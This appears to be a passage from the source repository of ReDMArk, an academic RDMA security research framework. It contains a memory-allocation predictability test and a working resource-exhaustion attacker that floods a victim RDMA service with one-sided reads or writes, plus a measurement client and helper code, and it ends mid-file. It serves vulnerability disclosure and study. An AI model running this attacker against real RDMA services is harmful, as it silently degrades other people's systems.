├── AUTHORS ├── LICENSE ├── README.md ├── allocation_addr_tests ├── Makefile ├── README.md ├── cxxopts.hpp └── main.cpp ├── exhaustion_attack ├── Makefile ├── README.md ├── attacker.cpp ├── client.cpp ├── connectRDMA.hpp ├── cxxopts.hpp ├── run_all.sh ├── run_test.sh ├── verbsEP.hpp └── victim.cpp ├── inject_attack ├── Makefile ├── README.md ├── client.cpp ├── connectRDMA.hpp ├── cxxopts.hpp ├── server.cpp ├── spoofv1.cpp ├── spoofv2.cpp └── verbsEP.hpp ├── paper └── redmark.pdf ├── preload_attack ├── Makefile ├── README.md ├── attacker.cpp ├── connectRDMA.hpp ├── cxxopts.hpp ├── verbsEP.hpp └── victim.cpp ├── qp_tests ├── Makefile ├── README.md ├── cxxopts.hpp └── main.cpp └── rkey_tests ├── Makefile ├── README.md ├── cxxopts.hpp └── main.cpp /AUTHORS: -------------------------------------------------------------------------------- 1 | # This is the official list of ReDMArk authors (individuals or organizations) for 2 | # copyright purposes. 3 | 4 | ETH Zurich 5 | Benjamin Rothenberger 6 | Konstantin Taranov 7 | Adrian Perrig 8 | Torsten Hoefler 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020-2021, ETH Zurich, and all contributors listed in AUTHORS 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReDMArk: Bypassing RDMA Security Mechanisms. 2 | A framework for security analysis of RDMA networking. 3 | This is the source code for our [USENIX Security paper](paper/redmark.pdf). 4 | 5 | ## Discovered vulnerabilities 6 | * (V1) Memory Protection Key Randomness. See [`rkey_tests/`](rkey_tests/). 7 | * (V2) Static Initialization State for Key Generation. See [`rkey_tests/`](rkey_tests/). 8 | * (V3) Shared Key Generator. See [`rkey_tests/`](rkey_tests/). 9 | * (V4) Consecutive Allocation of Memory Regions. See [`allocation_addr_tests/`](allocation_addr_tests/). 10 | * (V5) Linearly Increasing QP Numbers. See [`qp_tests/`](qp_tests/). 11 | * (V6) Fixed Starting Packet Sequence Number. See [USENIX Security paper](paper/redmark.pdf). 12 | * (V7) Limited Attack Detection Capabilities. See [USENIX Security paper](paper/redmark.pdf). 13 | * (V8) Missing Encryption and Authentication in RDMA Protocols. See [USENIX Security paper](paper/redmark.pdf). 14 | * (V9) Single Protection Domain for all QPs. See [USENIX Security paper](paper/redmark.pdf). 15 | * (V10) Implicit On-Demand Paging (ODP). See [USENIX Security paper](paper/redmark.pdf). 16 | 17 | ## Implemented attacks 18 | * (A1) Packet Injection using Impersonation. See [`inject_attack/`](inject_attack/). 19 | * (A2) DoS Attack by Transiting QPs to an Error State. See [`inject_attack/`](inject_attack/). 20 | * (A3) Unauthorized Memory Access. See [USENIX Security paper](paper/redmark.pdf). 21 | * (A4) DoS Attack based on Queue Pair Allocation Resource Exhaustion. See [`qp_tests/`](qp_tests/). 22 | * (A5) Performance Degradation using Resource Exhaustion. See [`exhaustion_attack/`](exhaustion_attack/). 23 | * (A6) Facilitating Attacks using RDMA. See [`preload_attack/`](preload_attack/). 24 | 25 | ## Citing this work 26 | 27 | If you use our code, please consider citing our [USENIX Security paper](paper/redmark.pdf): 28 | 29 | ``` 30 | @inproceedings{rot2021redmark, 31 | title={{ReDMArk}: Bypassing {RDMA} Security Mechanisms}, 32 | author={Benjamin Rothenberger and Konstantin Taranov and Adrian Perrig and Torsten Hoefler}, 33 | booktitle={{USENIX} Security Symposium ({USENIX} Security 21)}, 34 | year={2021}, 35 | } 36 | ``` 37 | 38 | ## Contact 39 | Konstantin Taranov (konstantin.taranov "at" inf.ethz.ch) 40 | Benjamin Rothenberger (benjamin.rothenberger "at" inf.ethz.ch) 41 | 42 | 43 | -------------------------------------------------------------------------------- /allocation_addr_tests/Makefile: -------------------------------------------------------------------------------- 1 | APPS = main 2 | 3 | LDFLAGS = 4 | CFLAGS += -Wall -std=c++11 -I./ 5 | 6 | all: CFLAGS += -O2 7 | all: ${APPS} 8 | 9 | main: clean 10 | g++ main.cpp $(CFLAGS) $(LDFLAGS) -o main 11 | clean: 12 | $(foreach fname,${APPS}, rm -f ${fname}) 13 | 14 | 15 | debug: CFLAGS += -DDEBUG -g -O0 16 | debug: ${APPS} 17 | 18 | .DELETE_ON_ERROR: 19 | .PHONY: all clean 20 | -------------------------------------------------------------------------------- /allocation_addr_tests/README.md: -------------------------------------------------------------------------------- 1 | # (V4) Consecutive Allocation of Memory Regions 2 | 3 | 4 | The test shows that subsequent memory allocation calls return consecutive addresses with respect to a random address base. 5 | 6 | 7 | ## Requirements 8 | * GCC >= 4.9 with C++11 features 9 | 10 | 11 | ## Usage 12 | 13 | ``` 14 | make 15 | ./main --help 16 | ``` -------------------------------------------------------------------------------- /allocation_addr_tests/main.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a test to show predictability of memory addresses allocated with malloc and mmap. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include "cxxopts.hpp" 23 | 24 | const size_t PAGE_SIZE = 4096 ; 25 | 26 | 27 | cxxopts::ParseResult 28 | parse(int argc, char* argv[]) 29 | { 30 | cxxopts::Options options(argv[0], "Consecutive Allocation of Memory Regions. See vulnerability (V4). "); 31 | options.positional_help("[optional args]") 32 | .show_positional_help(); 33 | 34 | try 35 | { 36 | 37 | options.add_options() 38 | ("n,num", "number of allocations", cxxopts::value()->default_value(std::to_string(20)), "N") 39 | ("h,help", "Print help") 40 | ; 41 | 42 | auto result = options.parse(argc, argv); 43 | 44 | if (result.count("help")) 45 | { 46 | std::cout << options.help({""}) << std::endl; 47 | exit(0); 48 | } 49 | 50 | return result; 51 | 52 | } catch (const cxxopts::OptionException& e) 53 | { 54 | std::cout << "error parsing options: " << e.what() << std::endl; 55 | std::cout << options.help({""}) << std::endl; 56 | exit(1); 57 | } 58 | } 59 | 60 | 61 | void print_test(std::vector &mem){ 62 | 63 | 64 | printf("Allocated addresses: "); 65 | for(auto &x : mem){ 66 | printf("%p ",x); 67 | } 68 | printf("\n"); 69 | 70 | std::map hist; 71 | printf("Address offsets: "); 72 | for(uint32_t i = 1; isecond++; 78 | } else { 79 | hist.insert({diff, 1}); 80 | } 81 | } 82 | printf("\nHistogram of differences [difference->count]: "); 83 | for(auto &elem : hist) { 84 | printf("[%lld->%d] ",elem.first, elem.second); 85 | } 86 | 87 | printf("\n"); 88 | printf("\n"); 89 | } 90 | 91 | 92 | void test1(uint32_t size, uint32_t N){ 93 | printf("test1 using mmap call. We allocate twenty buffers of %u bytes in a loop.\n",size); 94 | std::vector mem; 95 | for(uint32_t i=0; i mem; 114 | for(uint32_t i=0; i(); 140 | 141 | printf("Pagesize %ld [bytes]\n",PAGE_SIZE); 142 | 143 | test1(PAGE_SIZE,N); 144 | test1(100,N); 145 | test1(3*PAGE_SIZE + 100,N); 146 | 147 | printf("\n\n"); 148 | 149 | test2(PAGE_SIZE,N); 150 | test2(100,N); 151 | test2(3*PAGE_SIZE + 100,N); 152 | 153 | return 0; 154 | } 155 | 156 | -------------------------------------------------------------------------------- /exhaustion_attack/Makefile: -------------------------------------------------------------------------------- 1 | APPS = victim attacker client 2 | 3 | 4 | LDFLAGS = -libverbs -lrdmacm 5 | CFLAGS += -Wall -std=c++11 -I./ -O2 6 | 7 | all: ${APPS} 8 | 9 | victim: clean 10 | g++ victim.cpp $(CFLAGS) $(LDFLAGS) -o victim 11 | 12 | attacker: clean 13 | g++ attacker.cpp $(CFLAGS) $(LDFLAGS) -o attacker 14 | 15 | client: clean 16 | g++ client.cpp $(CFLAGS) $(LDFLAGS) -o client 17 | 18 | clean: 19 | $(foreach fname,${APPS}, rm -f ${fname}) 20 | 21 | 22 | .DELETE_ON_ERROR: 23 | .PHONY: all clean 24 | -------------------------------------------------------------------------------- /exhaustion_attack/README.md: -------------------------------------------------------------------------------- 1 | # (A5) Performance Degradation using Resource Exhaustion 2 | 3 | The attack shows that attackers can silently degrade performance of a victim RDMA service. 4 | 5 | 6 | ## Requirements 7 | * GCC >= 4.9 with C++11 features 8 | * rdma-core library, or equivalent RDMA verbs library 9 | * RDMA-capable network devices must have assigned IP addresses 10 | 11 | ## Usage 12 | 13 | To compile the code simply run `make`. 14 | 15 | To perform an attack, the victim service should be launched using `./victim -a -c `, where `` is the IP address of the victim, and `` is the total number of connections the victim should accept. `` should be equal to the number of attackers plus one. 16 | Then the attackers will connect to the victim and will flood the victim service with one-sided RDMA requests. 17 | To run an attacker use `./attacker -a `, where `` is the IP address of the victim. By default, attackers use RDMA read requests for the attack. Use the flag `--write` to use RDMA writes for exhausting processing resources of the victim's RNIC. 18 | 19 | The performance measurements are made by a client that connects to the victim. By default, the client measures performance of RDMA reads. Use the flag `--write` to measure performance of RDMA writes. 20 | 21 | 22 | Basic usage example 23 | ``` 24 | make 25 | ./victim -a 192.168.1.10 -c 2 26 | ./attacker -a 192.168.1.10 --write 27 | ./client -a 192.168.1.10 28 | ``` 29 | 30 | For more arguments call 31 | ``` 32 | make 33 | ./victim --help 34 | ./attacker --help 35 | ./client --help 36 | ``` 37 | 38 | 39 | ## Scripts 40 | Note, to run the script, we require manually edit `run_test.sh` to specify the IP addresses of the RDMA devices in the cluster. 41 | To run all experiments used in the paper, one can use `run_all.sh` script, which calls `run_test.sh`. 42 | Too see the usage of `run_test.sh` script, you can execute `run_test.sh --help`. 43 | 44 | The `run_test.sh` script contains hard-coded IP addresses of the cluster machines. The script assumes that the IP addresses of the machines grow linearly. You need to specify only the IP address of a single machine and the script will increment the provided IP address to launch processes on different machines. The script launches a victim service at the provided IP address, then it starts the requested number of attackers at the subsequent IP addresses. The client is always launched locally, i.e., at the same machine where the script is launched. 45 | 46 | For example, if a test involves 3 attackers, and the provided IP address is 192.168.1.10, the processes will be launched at: 47 | ``` 48 | 192.168.1.10 -> victim service 49 | 192.168.1.11 -> an attacker 50 | 192.168.1.12 -> an attacker 51 | 192.168.1.13 -> an attacker 52 | local ip -> a client 53 | ``` 54 | 55 | For correct measurements, the scripts should be launched on an RDMA-capable machine that is different from the victim and the attackers. 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /exhaustion_attack/attacker.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch an attacker that issues flood of one-sided traffic to a victim service. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include "verbsEP.hpp" 12 | #include "connectRDMA.hpp" 13 | #include 14 | #include "cxxopts.hpp" 15 | 16 | 17 | uint32_t totalsize = 8*1024*1024; 18 | 19 | VerbsEP *ep; 20 | 21 | uint64_t remote_addr; 22 | uint32_t rkey; 23 | 24 | uint64_t local_addr; 25 | uint32_t lkey; 26 | 27 | uint32_t outstand; 28 | 29 | struct ibv_pd* pd = NULL; 30 | char* buf = NULL; 31 | struct ibv_mr* mr = NULL; 32 | 33 | cxxopts::ParseResult 34 | parse(int argc, char* argv[]) 35 | { 36 | cxxopts::Options options(argv[0], "Server for the microbenchmark"); 37 | options 38 | .positional_help("[optional args]") 39 | .show_positional_help(); 40 | 41 | try 42 | { 43 | 44 | options.add_options() 45 | ("address", "IP address of the victim", cxxopts::value(), "IP") 46 | ("size", "message size", cxxopts::value()->default_value(std::to_string(16)), "BYTES") 47 | ("outstand", "outstanding ops", cxxopts::value()->default_value(std::to_string(64)), "N") 48 | ("write", "use writes instead of reads. Default: use reads") 49 | ("help", "Print help") 50 | ; 51 | 52 | auto result = options.parse(argc, argv); 53 | 54 | if (result.count("help")) 55 | { 56 | std::cout << options.help({""}) << std::endl; 57 | exit(0); 58 | } 59 | 60 | if (result.count("address") == 0) 61 | { 62 | std::cout << options.help({""}) << std::endl; 63 | exit(0); 64 | } 65 | 66 | return result; 67 | 68 | } catch (const cxxopts::OptionException& e) 69 | { 70 | std::cout << "error parsing options: " << e.what() << std::endl; 71 | std::cout << options.help({""}) << std::endl; 72 | exit(1); 73 | } 74 | } 75 | 76 | void bw_write_unlim(uint32_t size){ 77 | 78 | 79 | struct ibv_wc wc[8]; 80 | 81 | uint32_t cur_outstand = 0; 82 | 83 | while(true){ 84 | 85 | if(cur_outstand < outstand){ 86 | ep->write_signaled(0, local_addr, lkey, remote_addr, rkey, size); 87 | cur_outstand++; 88 | } 89 | 90 | int ret = ep->poll_send_completion(wc,8); 91 | if(ret){ 92 | cur_outstand-=ret; 93 | } 94 | } 95 | } 96 | 97 | 98 | 99 | void bw_read_unlim(uint32_t size){ 100 | 101 | 102 | struct ibv_wc wc[8]; 103 | 104 | uint32_t cur_outstand = 0; 105 | 106 | while(true){ 107 | 108 | if(cur_outstand < outstand){ 109 | ep->read_signaled(0, local_addr, lkey, remote_addr, rkey, size); 110 | cur_outstand++; 111 | } 112 | 113 | int ret = ep->poll_send_completion(wc,8); 114 | if(ret){ 115 | cur_outstand-=ret; 116 | } 117 | } 118 | } 119 | 120 | 121 | void connect(const std::string& ip, uint32_t outstand, bool write){ 122 | int port = 9999; 123 | ClientRDMA * client = new ClientRDMA(const_cast(ip.c_str()),port); 124 | struct ibv_qp_init_attr attr; 125 | struct rdma_conn_param conn_param; 126 | 127 | memset(&attr, 0, sizeof(attr)); 128 | attr.cap.max_send_wr = outstand+2; 129 | attr.cap.max_recv_wr = 1; 130 | attr.cap.max_send_sge = 1; 131 | attr.cap.max_recv_sge = 1; 132 | attr.cap.max_inline_data = 0; 133 | attr.qp_type = IBV_QPT_RC; 134 | 135 | memset(&conn_param, 0 , sizeof(conn_param)); 136 | conn_param.responder_resources = 0; 137 | conn_param.initiator_depth = write ? 0 : 16; 138 | conn_param.retry_count = 3; 139 | conn_param.rnr_retry_count = 3; 140 | 141 | ep = client->connectEP(&attr,&conn_param,pd); 142 | 143 | buf = (char*)aligned_alloc(4096, totalsize); 144 | mr = ep->reg_mem(buf,totalsize); 145 | local_addr = (uint64_t)buf; 146 | lkey = mr->lkey; 147 | 148 | ep->post_recv(0,mr); 149 | 150 | struct ibv_wc wc; 151 | while(ep->poll_recv_completion(&wc)==0){ 152 | 153 | } 154 | struct ibv_sge sge = *(struct ibv_sge*)buf; 155 | 156 | remote_addr = sge.addr; 157 | rkey = sge.lkey; 158 | 159 | pd = ep->pd; 160 | 161 | printf("Connection is established\n"); 162 | } 163 | 164 | int main(int argc, char* argv[]){ 165 | 166 | auto allparams = parse(argc,argv); 167 | 168 | std::string ip = allparams["address"].as(); 169 | totalsize = allparams["size"].as(); 170 | outstand = allparams["outstand"].as(); 171 | 172 | connect(ip, outstand,allparams.count("write")); 173 | if(allparams.count("write")){ 174 | bw_write_unlim(totalsize); 175 | } else { 176 | bw_read_unlim(totalsize); 177 | } 178 | 179 | 180 | return 0; 181 | } 182 | 183 | -------------------------------------------------------------------------------- /exhaustion_attack/client.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a client for measuring latency and throughput of RDMA operations towards an RDMA service 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | 12 | #include "verbsEP.hpp" 13 | #include "connectRDMA.hpp" 14 | #include 15 | #include "cxxopts.hpp" 16 | 17 | 18 | uint32_t totalsize = 8*1024*1024; // the size of the buffer for issuing RDMA requests 19 | 20 | VerbsEP *ep; 21 | 22 | uint64_t remote_addr; 23 | uint32_t rkey; 24 | 25 | uint64_t local_addr; 26 | uint32_t lkey; 27 | 28 | uint32_t outstand; 29 | 30 | struct ibv_pd* pd = NULL; 31 | char* buf = NULL; 32 | struct ibv_mr* mr = NULL; 33 | 34 | 35 | std::vector latency; 36 | std::vector bw; 37 | 38 | cxxopts::ParseResult 39 | parse(int argc, char* argv[]) 40 | { 41 | cxxopts::Options options(argv[0], "A client for measuring latency and throughput"); 42 | options 43 | .positional_help("[optional args]") 44 | .show_positional_help(); 45 | 46 | try 47 | { 48 | 49 | options.add_options() 50 | ("a,address", "IP address of the victim", cxxopts::value(), "IP") 51 | ("size", "message size", cxxopts::value()->default_value(std::to_string(16)), "BYTES") 52 | ("num", "total number of measurements", cxxopts::value()->default_value(std::to_string(1024)), "N") 53 | ("interval", "interval for measuring bandwidth.", cxxopts::value()->default_value(std::to_string(100)), "COMPLETIONS") 54 | ("outstand", "outstanding RDMA operations", cxxopts::value()->default_value(std::to_string(64)), "N") 55 | ("write", "use writes instead of reads. Default: use reads") 56 | ("help", "Print help") 57 | ; 58 | 59 | auto result = options.parse(argc, argv); 60 | 61 | if (result.count("help")) 62 | { 63 | std::cout << options.help({""}) << std::endl; 64 | exit(0); 65 | } 66 | 67 | if (result.count("address") == 0) 68 | { 69 | std::cout << options.help({""}) << std::endl; 70 | exit(0); 71 | } 72 | 73 | return result; 74 | 75 | } catch (const cxxopts::OptionException& e) 76 | { 77 | std::cout << "error parsing options: " << e.what() << std::endl; 78 | std::cout << options.help({""}) << std::endl; 79 | exit(1); 80 | } 81 | } 82 | 83 | void bw_read_latency(uint32_t size, uint32_t N){ 84 | using namespace std::chrono; 85 | struct ibv_wc wc; 86 | 87 | latency.reserve(N); 88 | for(uint32_t i = 0 ; i < N ; i++){ 89 | auto t1 = high_resolution_clock::now(); 90 | ep->read_signaled(0, local_addr, lkey, remote_addr, rkey, size); 91 | 92 | 93 | while( ep->poll_send_completion(&wc) == 0) 94 | { 95 | //empty 96 | } 97 | assert(wc.status == 0); 98 | auto t2 = high_resolution_clock::now(); 99 | double val = (duration_cast(t2 - t1).count()/1000.0); 100 | latency.push_back(val); 101 | } 102 | 103 | 104 | } 105 | 106 | 107 | void bw_read_bandwidth(uint32_t size, uint32_t interval, uint32_t N){ 108 | 109 | using namespace std::chrono; 110 | 111 | struct ibv_wc wc[8]; 112 | 113 | uint32_t cur_outstand = 0; 114 | 115 | uint32_t prints = 0; 116 | uint32_t replies = 0; 117 | bw.reserve(N); 118 | 119 | auto t1 = high_resolution_clock::now(); 120 | while(prints < N){ 121 | 122 | if(cur_outstand < outstand){ 123 | ep->read_signaled(0, local_addr, lkey, remote_addr, rkey, size); 124 | cur_outstand++; 125 | } 126 | 127 | int ret = ep->poll_send_completion(wc,8); 128 | if(ret){ 129 | replies += ret; 130 | cur_outstand-=ret; 131 | } 132 | 133 | 134 | if(replies > interval){ 135 | auto t2 = high_resolution_clock::now(); 136 | double val = (((double)replies*1000.0)/duration_cast(t2 - t1).count()); 137 | bw.push_back(val); 138 | prints++; 139 | replies = 0; 140 | t1 = t2; 141 | } 142 | } 143 | 144 | while(cur_outstand!=0){ 145 | int ret = ep->poll_send_completion(wc,8); 146 | if(ret){ 147 | cur_outstand-=ret; 148 | } 149 | } 150 | 151 | } 152 | 153 | void bw_write_latency(uint32_t size, uint32_t N){ 154 | using namespace std::chrono; 155 | struct ibv_wc wc; 156 | 157 | latency.reserve(N); 158 | for(uint32_t i = 0 ; i < N ; i++){ 159 | auto t1 = high_resolution_clock::now(); 160 | ep->write_signaled(0, local_addr, lkey, remote_addr, rkey, size); 161 | 162 | 163 | while( ep->poll_send_completion(&wc) == 0) 164 | { 165 | 166 | //empty 167 | } 168 | assert(wc.status == 0); 169 | auto t2 = high_resolution_clock::now(); 170 | double val = (duration_cast(t2 - t1).count()/1000.0); 171 | latency.push_back(val); 172 | } 173 | 174 | 175 | } 176 | 177 | 178 | void bw_write_bandwidth(uint32_t size, uint32_t interval, uint32_t N){ 179 | 180 | using namespace std::chrono; 181 | 182 | struct ibv_wc wc[8]; 183 | 184 | uint32_t cur_outstand = 0; 185 | 186 | uint32_t prints = 0; 187 | uint32_t replies = 0; 188 | bw.reserve(N); 189 | 190 | auto t1 = high_resolution_clock::now(); 191 | while(prints < N){ 192 | 193 | if(cur_outstand < outstand){ 194 | ep->write_signaled(0, local_addr, lkey, remote_addr, rkey, size); 195 | cur_outstand++; 196 | } 197 | 198 | int ret = ep->poll_send_completion(wc,8); 199 | if(ret){ 200 | replies += ret; 201 | cur_outstand-=ret; 202 | if(!wc[0].status == 0){ 203 | printf("error %d\n",wc[0].status); 204 | prints = N; 205 | } 206 | } 207 | 208 | 209 | if(replies > interval){ 210 | auto t2 = high_resolution_clock::now(); 211 | double val = (((double)replies*1000.0)/duration_cast(t2 - t1).count()); 212 | bw.push_back(val); 213 | prints++; 214 | replies = 0; 215 | t1 = t2; 216 | } 217 | } 218 | 219 | while(cur_outstand!=0){ 220 | int ret = ep->poll_send_completion(wc,8); 221 | if(ret){ 222 | cur_outstand-=ret; 223 | } 224 | } 225 | 226 | } 227 | 228 | void connect(const std::string& ip, uint32_t outstand, bool write){ 229 | int port = 9999; 230 | ClientRDMA * client = new ClientRDMA(const_cast(ip.c_str()),port); 231 | struct ibv_qp_init_attr attr; 232 | struct rdma_conn_param conn_param; 233 | 234 | memset(&attr, 0, sizeof(attr)); 235 | attr.cap.max_send_wr = outstand+2; 236 | attr.cap.max_recv_wr = 1; 237 | attr.cap.max_send_sge = 1; 238 | attr.cap.max_recv_sge = 1; 239 | attr.cap.max_inline_data = 0; 240 | attr.qp_type = IBV_QPT_RC; 241 | 242 | memset(&conn_param, 0 , sizeof(conn_param)); 243 | conn_param.responder_resources = 0; 244 | conn_param.initiator_depth = write ? 0 : 16; 245 | conn_param.retry_count = 3; 246 | conn_param.rnr_retry_count = 3; 247 | 248 | ep = client->connectEP(&attr,&conn_param,pd); 249 | 250 | buf = (char*)aligned_alloc(4096, totalsize); // 8MiB 251 | mr = ep->reg_mem(buf,totalsize); 252 | local_addr = (uint64_t)buf; 253 | lkey = mr->lkey; 254 | 255 | ep->post_recv(0,mr); 256 | 257 | struct ibv_wc wc; 258 | while(ep->poll_recv_completion(&wc)==0){ 259 | 260 | } 261 | struct ibv_sge sge = *(struct ibv_sge*)buf; 262 | 263 | remote_addr = sge.addr; 264 | rkey = sge.lkey; 265 | 266 | pd = ep->pd; 267 | 268 | printf("Connection is established\n"); 269 | } 270 | 271 | int main(int argc, char* argv[]){ 272 | 273 | auto allparams = parse(argc,argv); 274 | 275 | std::string ip = allparams["address"].as(); // "192.168.1.20"; .c_str() 276 | totalsize = allparams["size"].as(); 277 | uint32_t N = allparams["num"].as(); 278 | uint32_t interval = allparams["interval"].as(); 279 | 280 | outstand = allparams["outstand"].as(); 281 | 282 | connect(ip, outstand,allparams.count("write")); 283 | 284 | std::this_thread::sleep_for(std::chrono::milliseconds(10)); 285 | 286 | if(allparams.count("write")){ 287 | bw_write_latency(totalsize,N); 288 | bw_write_bandwidth(totalsize,interval,N); 289 | } else { 290 | bw_read_latency(totalsize,N); 291 | bw_read_bandwidth(totalsize,interval,N); 292 | } 293 | 294 | printf("latency(us): "); 295 | for(auto &x : latency){ 296 | printf("%0.2lf ",x); 297 | } 298 | printf("\nbw(req/s): "); 299 | for(auto &x : bw){ 300 | printf("%0.2lf ",x); 301 | } 302 | printf("\n"); 303 | 304 | return 0; 305 | } 306 | 307 | 308 | 309 | 310 | -------------------------------------------------------------------------------- /exhaustion_attack/connectRDMA.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "verbsEP.hpp" 22 | 23 | 24 | 25 | struct ibv_device *ctx_find_dev(const char *ib_devname) { 26 | int num_of_device; 27 | struct ibv_device **dev_list; 28 | struct ibv_device *ib_dev = NULL; 29 | 30 | dev_list = ibv_get_device_list(&num_of_device); 31 | 32 | if (num_of_device <= 0) { 33 | fprintf(stderr, " Did not detect devices \n"); 34 | fprintf(stderr, " If device exists, check if driver is up\n"); 35 | return NULL; 36 | } 37 | 38 | if (!ib_devname) { 39 | ib_dev = dev_list[0]; 40 | if (!ib_dev) { 41 | fprintf(stderr, "No IB devices found\n"); 42 | exit(1); 43 | } 44 | } else { 45 | for (; (ib_dev = *dev_list); ++dev_list) 46 | if (!strcmp(ibv_get_device_name(ib_dev), ib_devname)) break; 47 | if (!ib_dev) fprintf(stderr, "IB device %s not found\n", ib_devname); 48 | } 49 | return ib_dev; 50 | } 51 | 52 | 53 | class ServerRDMA{ 54 | 55 | struct rdma_event_channel *cm_channel; 56 | struct rdma_cm_id *listen_id = NULL; 57 | //struct ibv_context *ctx; 58 | 59 | public: 60 | ServerRDMA(char* ip, int port){ 61 | int ret; 62 | struct rdma_addrinfo hints; 63 | struct rdma_addrinfo *addrinfo; 64 | 65 | 66 | memset(&hints, 0, sizeof hints); 67 | hints.ai_flags = RAI_PASSIVE; 68 | hints.ai_port_space = RDMA_PS_TCP; 69 | 70 | char strport[80]; 71 | sprintf(strport, "%d", port); 72 | 73 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 74 | if (ret) { 75 | perror("rdma_getaddrinfo\n"); 76 | exit(1); 77 | } 78 | 79 | ret = rdma_create_ep(&listen_id, addrinfo, NULL, NULL); 80 | if (ret) { 81 | perror("rdma_create_ep\n"); 82 | exit(1); 83 | } 84 | 85 | rdma_freeaddrinfo(addrinfo); 86 | 87 | ret = rdma_listen(listen_id, 2); 88 | if (ret) { 89 | perror("rdma_listen"); 90 | exit(1); 91 | } 92 | 93 | } 94 | 95 | int get_listen_fd() 96 | { 97 | 98 | assert(this->listen_id->channel!=NULL); 99 | int options = fcntl(this->listen_id->channel->fd, F_GETFL, 0); 100 | 101 | if (fcntl(this->listen_id->channel->fd, F_SETFL, options | O_NONBLOCK)) { 102 | perror("[RDMA_COM] cannot set server_client to non-blocking mode"); 103 | exit(1); 104 | return 0; 105 | } 106 | 107 | return this->listen_id->channel->fd; 108 | } 109 | 110 | struct ibv_pd * create_pd(){ 111 | return ibv_alloc_pd(listen_id->verbs); 112 | } 113 | 114 | 115 | struct ibv_srq* create_srq(struct ibv_pd * pd, uint32_t max_wr, uint32_t max_sge=1){ 116 | 117 | struct ibv_srq_init_attr attr; 118 | memset(&attr, 0, sizeof attr); 119 | attr.attr.max_wr = max_wr; 120 | attr.attr.max_sge = max_sge; 121 | 122 | 123 | return ibv_create_srq(pd, &attr); 124 | } 125 | 126 | struct ibv_cq *create_cq(uint32_t max_wr, struct ibv_comp_channel *channel = NULL){ 127 | return ibv_create_cq(listen_id->verbs, max_wr, NULL,channel, 0); 128 | } 129 | 130 | 131 | VerbsEP* acceptEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 132 | int ret; 133 | struct rdma_cm_id *id; 134 | attr->qp_type = IBV_QPT_RC; 135 | 136 | ret = rdma_get_request(this->listen_id, &id); 137 | if (ret) { 138 | perror("rdma_get_request"); 139 | return NULL; 140 | } 141 | 142 | ret = rdma_create_qp(id, pd, attr); 143 | if (ret) { 144 | perror("rdma_create_qp"); 145 | return NULL; 146 | } 147 | 148 | ret = rdma_accept(id, conn_param); 149 | if (ret) { 150 | perror("rdma_accept"); 151 | return NULL; 152 | } 153 | 154 | // printf("PD: %p %p %p\n", pd, id->pd, id->qp->pd); 155 | 156 | return new VerbsEP(id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 157 | } 158 | 159 | }; 160 | 161 | 162 | 163 | class ClientRDMA{ 164 | 165 | struct rdma_addrinfo *addrinfo; 166 | //struct ibv_context *ctx; 167 | 168 | public: 169 | ClientRDMA(char* ip, int port){ 170 | int ret; 171 | struct rdma_addrinfo hints; 172 | 173 | memset(&hints, 0, sizeof hints); 174 | hints.ai_port_space = RDMA_PS_TCP; 175 | 